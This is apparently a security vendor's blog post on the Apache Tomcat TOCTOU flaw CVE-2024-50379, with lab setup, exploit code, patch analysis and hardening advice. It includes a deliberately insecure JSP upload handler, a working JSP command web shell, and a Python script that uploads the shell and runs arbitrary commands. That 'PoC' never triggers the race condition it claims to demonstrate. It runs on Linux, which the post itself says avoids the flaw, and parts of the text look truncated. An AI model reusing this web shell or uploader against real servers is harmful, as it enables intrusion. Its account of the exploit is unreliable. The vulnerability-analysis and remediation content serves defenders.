In today’s rapidly evolving digital environment, web servers like Apache Tomcat are essential tools for hosting dynamic web applications. However, their widespread use makes them a prime target for attackers looking to exploit vulnerabilities. Recently, CVE-2024-50379 was disclosed, revealing a critical vulnerability in Apache Tomcat that could allow an attacker to execute remote code. Understanding this vulnerability is important for system administrators, developers, and cybersecurity professionals who want to protect their systems.
What is CVE-2024-50379?
CVE-2024-50379 is a critical vulnerability affecting multiple versions of Apache Tomcat, an open source web server and servlet container widely used for deploying Java-based web applications. The vulnerability arises from a Time-of-Check to Time-of-Use (TOCTOU) race condition that occurs when compiling JavaServer Pages (JSPs).
When exploited, CVE-2024-50379 allows an attacker to overwrite or manipulate JSP files during a specific time period, leading to remote code execution (RCE). This is particularly dangerous on case-insensitive file systems with a default writable servlet configuration, which is common in systems like Windows.
- Affected versions include:
- Apache Tomcat 11.0.0-M1 to 11.0.1
- Apache Tomcat 10.1.0-M1 to 10.1.33
- Apache Tomcat 9.0.0.M1 to 9.0.97
What is a Time-of-Check to Time-of-Use (TOCTOU) Race Condition?
To understand CVE-2024-50379, it’s crucial to grasp the concept of a TOCTOU race condition. This vulnerability type occurs when a program checks the state of a resource (the “Time of Check”) and later acts on that resource (the “Time of Use”). If the resource’s state changes between these two events, it could lead to unexpected or malicious behavior.
TOCTOU in Apache Tomcat JSP Compilation:
JavaServer Pages (JSP) are server-side templates written in Java and HTML that Apache Tomcat compiles into Java servlets before execution. The process typically involves:
- Time of Check (TOC):
- Tomcat verifies the existence, permissions, and integrity of a JSP file before proceeding with compilation.
- Time of Use (TOU):
- After the checks, Tomcat compiles the JSP into a servlet and executes it.

The problem arises when an attacker manipulates the JSP file during the gap between the TOC and TOU. On case-insensitive file systems, such as those in Windows, filenames like example.jsp and Example.jsp are treated as the same. This can allow an attacker to replace a legitimate file with a malicious one during the TOC-TOU window, resulting in the compilation and execution of malicious code.
Why is this important?
The TOCTOU race condition in CVE-2024-50379 is particularly dangerous because:
- It allows an attacker to execute arbitrary code, potentially taking control of the server.
- The exploit relies on writable JSP directories, a poor configuration that is often overlooked by administrators.
- It highlights the risks of relying on case-insensitive file systems, which are common in some environments.
Lab Setup for CVE-2024-50379 Exploitation
The process to set up a vulnerable Apache Tomcat environment for analyzing and exploiting CVE-2024-50379 is as follows:
Prepare the Environment
Ensure you have the following prerequisites in place:
- – Operating System: Kali Linux or any Linux distribution.
– Root access.
– Basic tools installed (wget, curl, nano, git).
– Python 3 installed with requests library:
pip3 install requests
Install Apache Tomcat
Download and install the vulnerable version of Apache Tomcat (10.1.33):
1. Download Apache Tomcat 10.1.33:
wget https://archive.apache.org/dist/tomcat/tomcat-10/v10.1.33/bin/apache-tomcat-10.1.33.tar.gz
2. Extract the archive:
tar -xvzf apache-tomcat-10.1.33.tar.gz
3. Move the extracted directory to /opt/tomcat:
sudo mv apache-tomcat-10.1.33 /opt/tomcat
4. Verify the installation:
ls /opt/tomcat or visit http://localhost:8080

Configure Tomcat
To prepare Tomcat for exploitation, modify its configuration as follows:
Step 1: Modify web. for Writable Access
1. Open the web. file:
nano /opt/tomcat/conf/web.
2. Locate the <servlet-name>default</servlet-name> section and add the following:
<init-param>
<param-name>readonly</param-name>
<param-value>false</param-value>
</init-param>
<init-param>
<param-name>listings</param-name>
<param-value>true</param-value>
</init-param>

3. Save and exit the file.
Error Handling:
– If the file is missing or permission is denied:
– Ensure the file exists:
ls /opt/tomcat/conf/web.
– Ensure appropriate permissions:
sudo chmod 644 /opt/tomcat/conf/web.
Step 2: Create a Writable Directory
Create the /uploads directory:
mkdir -p /opt/tomcat/webapps/uploads
chmod 777 /opt/tomcat/webapps/uploads
Verify permissions:
ls -ld /opt/tomcat/webapps/uploads
Error Handling:
- If mkdir fails, ensure the parent directory exists:
ls /opt/tomcat/webapps
Step 3: Add upload.jsp for File Handling
Create an upload.jsp file in /uploads:
nano /opt/tomcat/webapps/uploads/upload.jsp
Paste the following content:
<%@ page import="java.io.*, java.util.*" %>
<html>
<body>
<h1>File Upload</h1>
<%
String savePath = application.getRealPath("/") + "uploads/";
File uploadDir = new File(savePath);
if (!uploadDir.exists()) {
uploadDir.mkdir();
}
try {
String contentType = request.getContentType();
if ((contentType != null) && (contentType.indexOf("multipart/form-data") >= 0)) {
DataInputStream in = new DataInputStream(request.getInputStream());
int formDataLength = request.getContentLength();
byte[] dataBytes = new byte[formDataLength];
int bytesRead = in.read(dataBytes, 0, formDataLength);
String file = new String(dataBytes);
String saveFile = file.substring(file.indexOf("filename=\"") + 10);
saveFile = saveFile.substring(0, saveFile.indexOf("\n"));
saveFile = saveFile.substring(saveFile.lastIndexOf("\\") + 1, saveFile.indexOf("\""));
int lastIndex = contentType.lastIndexOf("=");
String boundary = contentType.substring(lastIndex + 1, contentType.length());
int pos;
pos = file.indexOf("filename=\"");
pos = file.indexOf("\n", pos) + 1;
pos = file.indexOf("\n", pos) + 1;
pos = file.indexOf("\n", pos) + 1;
int boundaryLocation = file.indexOf(boundary, pos) - 4;
int startPos = ((file.substring(0, pos)).getBytes()).length;
int endPos = ((file.substring(0, boundaryLocation)).getBytes()).length;
File uploadedFile = new File(savePath + saveFile);
FileOutputStream fileOut = new FileOutputStream(uploadedFile);
fileOut.write(dataBytes, startPos, (endPos - startPos));
fileOut.flush();
fileOut.close();
out.println("File " + saveFile + " has been uploaded successfully.");
}
} catch (Exception ex) {
out.println("Error encountered: " + ex.getMessage());
}
%>
</body>
</html>
Save and exit the file.

Step 4: Start Apache Tomcat
Start Tomcat:
/opt/tomcat/bin/startup.sh
Verify the server is running:
curl http://localhost:8080
Exploitation and PoC
Exploit Steps
The steps involved in exploiting CVE-2024-50379 are as follow.
1. Upload a Malicious JSP Shell
The exploit starts by uploading a malicious JSP shell file (shell.jsp) to the writable directory via theupload.jsp handler on the vulnerable Apache Tomcat server.
2. Access the Uploaded Shell
Once the shell is uploaded, it can be accessed via its URL, such as http://localhost:8080/uploads/uploads/shell.jsp. The shell enables remote command execution by appending the cmd parameter to the URL (e.g.,?cmd=<command>).
3. Execute Commands
HTTP requests with the cmd parameter are sent to the shell to execute arbitrary system commands. The server’s response contains the output of the executed commands.
4. Verify Exploitation
Successful exploitation is confirmed when the commands execute properly and their output is visible in the HTTP response.
Explanation of poc.py Script
The poc.py script automates the exploitation process. It uploads a malicious shell to the server and executes commands through it. Below is a detailed explanation of the script’s workflow.
Importing Required Modules
The script uses Python’s requests module to handle HTTP requests. It also uses the sys module to process command-line arguments.
import requests
import sys
Configurable Variables
The script defines variables to configure the target URL, shell name, and shell content. These variables control the behavior of the exploit.
TARGET_URL = "http://localhost:8080/uploads/upload.jsp"
SHELL_NAME = "shell.jsp"
SHELL_CONTENT = '''
<%@ page import="java.io.*" %>
<%
if (request.getParameter("cmd") != null) {
String cmd = request.getParameter("cmd");
Process p = Runtime.getRuntime().exec(cmd);
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream(in);
String line;
while ((line = dis.readLine()) != null) {
out.println(line);
}
}
%>
Uploading the Shell
The upload shell function uploads the malicious shell to the server. It sends an HTTPPOST request to theupload.jsp endpoint with the shell file as the payload.
def upload_shell():
print("[+] Uploading JSP shell...")
files = {'file': (SHELL_NAME, SHELL_CONTENT, 'application/octet-stream')}
response = requests.post(TARGET_URL, files=files)
if response.status_code == 200:
print(f"[+] Shell uploaded successfully. Check the URL: {TARGET_URL.replace('upload.jsp', 'uploads/' + SHELL_NAME)}")
return True
else:
print("[-] Failed to upload shell.")
print(f"Response Code: {response.status_code}")
print(f"Response Text: {response.text}")
return False
Executing Commands
Theexecute_command function sends aGET request to the uploaded shell with thecmd parameter to execute a specified command.
def execute_command(command):
shell_url = TARGET_URL.replace("upload.jsp", "uploads/" + SHELL_NAME)
print(f"[+] Executing command: {command}")
params = {'cmd': command}
response = requests.get(shell_url, params=params)
if response.status_code == 200:
print("[+] Command output:")
print(response.text)
else:
print("[-] Failed to execute command.")
print(f"Response Code: {response.status_code}")
print(f"Response Text: {response.text}")
Main Function
The main function validates user input, uploads the shell, and executes the specified command.
if __name__ == "__main__":
if len(sys.argv) < 2:
print("Usage: python3 poc.py <command>")
sys.exit(1)
command = sys.argv[1]
if upload_shell():
execute_command(command)
Find poc.py here —-🡪 https://github.com/Alchemist3dot14/CVE-2024-50379.git
Results:


Patch Diffing: How Apache Tomcat Fixed the CVE
Apache Tomcat’s team released multiple commits across versions 11.0.2, 10.1.34, and 9.0.98 to address CVE-2024-50379. By analyzing the patch, we can learn how the issue was fixed and identify best practices to secure similar systems.
Commit Overview
Here’s a list of the main commits that address the vulnerability:
- Commit 43b507e: Introduced locking mechanisms for consistent resource metadata.
- Commit 631500b: Ensured visibility of resource locks between threads.
- Commit 684247a: Refined locking to prevent race conditions during resource lock creation.
- Commit 8554f6b: Added a WebResourceLockSet for central lock management.
- Commit cc7a98b: Finalized metadata consistency fixes for FileResource.
Commit Analysis: Breaking Down the Patches
1. Commit 43b507e
- Problem: Inconsistent FileResource metadata during concurrent GET (read) and PUT/DELETE (write) operations.
- Fix: Introduced synchronized locking to ensure metadata consistency.
- Code Change:
synchronized (this) {
if (!file.exists()) {
this.isFile = false;
this.isDirectory = false;
} else {
this.isFile = file.isFile();
this.isDirectory = file.isDirectory();
}
}
- Impact: Prevents corruption of metadata during simultaneous reads and writes.
2. Commit 631500b
- Problem: Resource locks were not visible to other threads immediately after creation.
- Fix: Ensured resource locks are added to the lockMap as soon as they are created.
- Code Change:
public synchronized WebResourceLock getLock(String path) {
WebResourceLock lock = lockMap.get(path);
if (lock == null) {
lock = new WebResourceLock();
lockMap.put(path, lock); // Ensures immediate visibility
}
return lock;
}
- Impact: Prevents race conditions by ensuring threads don’t create duplicate locks.
3. Commit 684247a
- Problem: Multiple threads could attempt to create locks for the same resource simultaneously.
- Fix: Simplified lock initialization using computeIfAbsent.
- Code Change:
public synchronized WebResourceLock getLock(String path) {
return lockMap.computeIfAbsent(path, k -> new WebResourceLock()); // Simplified initialization
}
- Impact: Streamlined lock creation and ensured robustness against race conditions.
4. Commit 8554f6b
- Problem: Distributed lock management across codebase caused inconsistencies.
- Fix: Introduced WebResourceLockSet to centralize lock handling.
- Code Change:
public class WebResourceLockSet {
private final Map<String, WebResourceLock> lockMap = new ConcurrentHashMap<>();
public WebResourceLock getLock(String path) {
return lockMap.computeIfAbsent(path, k -> new WebResourceLock());
}
}
- Impact: Centralized lock management improved thread safety.
5. Commit cc7a98b
- Problem: Metadata fields in FileResource were not fully synchronized.
- Fix: Synchronized all metadata updates to ensure consistency during concurrent operations.
- Code Change:
synchronized (this) {
if (file.exists()) {
this.isFile = file.isFile();
this.isDirectory = file.isDirectory();
} else {
this.isFile = false;
this.isDirectory = false;
}
}
- Impact: Resolved final edge cases for metadata corruption.
Visualizing the Changes with Patch Diffing
Using Git tools, we can visualize these changes as unified diffs:
- Unified Diff for Commit 43b507e:
diff
- this.isFile = file.isFile();
- this.isDirectory = file.isDirectory();
+ synchronized (this) {
+ this.isFile = file.isFile();
+ this.isDirectory = file.isDirectory();
+ }
- Unified Diff for Commit 631500b:
diff
+ WebResourceLock lock = lockMap.computeIfAbsent(path, k -> new WebResourceLock());
Securing Apache Tomcat from TOCTOU Exploitation
1. Upgrade to Patched Versions
The Apache Software Foundation has addressed this vulnerability in the following versions:
- Apache Tomcat 11.0.2
- Apache Tomcat 10.1.34
- Apache Tomcat 9.0.98
Upgrading to these patched versions is the most effective way to eliminate the vulnerability. Follow these steps:
- Migrate any custom configurations or deployed applications to the new version.
- Visit the official Apache Tomcat website.
- Download the latest version for your deployment.
- Replace your current Tomcat installation with the updated version.
2. Secure Your File System
Writable directories and case-insensitive file systems increase the attack surface for TOCTOU vulnerabilities. Address these risks by taking the following steps:
- Avoid Case-Insensitive File Systems:
- If possible, use case-sensitive file systems like EXT4 on Linux instead of NTFS on Windows.
- Case-insensitive systems allow filenames like example.jsp and Example.jsp to be treated as identical, enabling exploitation during the TOCTOU window.
- Restrict Directory Permissions:
- Ensure only necessary permissions are granted to directories and files, particularly those containing JSP files.
- For instance, make default servlet directories read-only:
chmod -R 755 /opt/tomcat/webapps
3. Disable Writable Default Servlets
Writable default servlets are not enabled by default in Apache Tomcat, but inadvertent configuration changes might enable them. Disabling this feature eliminates one of the key attack vectors for CVE-2024-50379.
To disable writable default servlets:
- Open the web. configuration file:
nano /opt/tomcat/conf/web.
- Locate the <servlet-name>default</servlet-name> section and ensure the following configuration is set:
<init-param>
<param-name>readonly</param-name>
<param-value>true</param-value>
</init-param>
3. Save the file and restart Tomcat to apply the changes:
/opt/tomcat/bin/shutdown.sh
/opt/tomcat/bin/startup.sh
4. Implement Strong Access Controls
To further reduce the attack surface, implement strict access controls:
- Use Firewalls and Reverse Proxies:
- Restrict access to the Tomcat server to only trusted sources using tools like firewalls or reverse proxies (e.g., Nginx or Apache HTTP Server).
- Block unnecessary access to default web applications and administrative endpoints.
- Disable Unused Features:
- Remove or disable any unused web applications, such as /examples or /manager.
5. Monitor and Detect Exploitation Attempts
Even with patches and secure configurations, monitoring your Tomcat server is critical to detect potential exploitation attempts:
- Enable Detailed Logging:
- Monitor access logs and the catalina.out log for unusual patterns, such as repeated upload attempts or access to unauthorized JSP files.
- Example:
tail -f /opt/tomcat/logs/catalina.out
- Use Intrusion Detection Systems (IDS):
- Tools like OSSEC or Fail2Ban can detect and block suspicious activity, such as brute-force login attempts or malicious uploads.
6. Conduct Regular Audits
- Configuration Audits:
- Periodically review your Apache Tomcat configuration to ensure that permissions, writable directories, and other settings comply with security best practices.
- Vulnerability Scans:
- Use automated tools to scan for vulnerabilities and misconfigurations in your deployment.
7. Test and Validate the Fix
After applying the remedies, test your deployment to ensure the issue has been resolved:
- Verify that writable directories are disabled and cannot accept unauthorized uploads.
- Ensure that default servlets no longer allow file manipulations.
- Attempt to exploit the vulnerability in a controlled environment to validate the fix
Final Thoughts
The discovery and remediation of CVE-2024-50379 highlight the critical need for vigilance in securing widely used software like Apache Tomcat. This vulnerability demonstrates how seemingly minor configuration oversights, such as writable default servlets or reliance on case-insensitive file systems, can lead to severe consequences like remote code execution. The exploitation of TOCTOU race conditions serves as a reminder of the complexities of multi-threaded environments and the necessity of robust synchronization mechanisms in software design. Apache Tomcat’s prompt response and well-documented patches showcase the importance of proactive vulnerability management and collaboration between developers, administrators, and the security community. Ultimately, this incident reinforces the need for regular updates, secure configurations, and comprehensive monitoring to stay ahead of evolving threats in an increasingly interconnected digital world.
For expert guidance on vulnerability management and/or penetration testing services contact SecureLayer7 to leverage tailored solutions and stay ahead of evolving security risks.
References
- Apache Tomcat Official Website
https://tomcat.apache.org/ - CVE-2024-50379 NVD Entry
https://nvd.nist.gov/vuln/detail/CVE-2024-50379 - Apache Tomcat Security Pages:
- Tomcat 11 Security Fix:
https://tomcat.apache.org/security-11.html#Fixed_in_Apache_Tomcat_11.0.2 - Tomcat 10 Security Fix:
https://tomcat.apache.org/security-10.html#Fixed_in_Apache_Tomcat_10.1.34 - Tomcat 9 Security Fix:
https://tomcat.apache.org/security-9.html#Fixed_in_Apache_Tomcat_9.0.98
- Tomcat 11 Security Fix:
- Apache Tomcat Archive:
https://archive.apache.org/dist/tomcat/ - Apache Tomcat GitHub Repository:
https://github.com/apache/tomcat - Patch Commits Addressing CVE-2024-50379:
- Commit 43b507e:
https://github.com/apache/tomcat/commit/43b507ebac9d268b1ea3d908e296cc6e46795c00 - Commit 631500b:
https://github.com/apache/tomcat/commit/631500b0c9b2a2a2abb707e3de2e10a5936e5d41 - Commit 684247a:
https://github.com/apache/tomcat/commit/684247a - Commit 8554f6b:
https://github.com/apache/tomcat/commit/8554f6b - Commit cc7a98b:
https://github.com/apache/tomcat/commit/cc7a98b
- Commit 43b507e:
- GitHub Security Advisory on CVE-2024-50379:
https://github.com/advisories/GHSA-5j33-cvvr-w245 - POC Repository for CVE-2024-50379:
https://github.com/Alchemist3dot14/CVE-2024-50379.git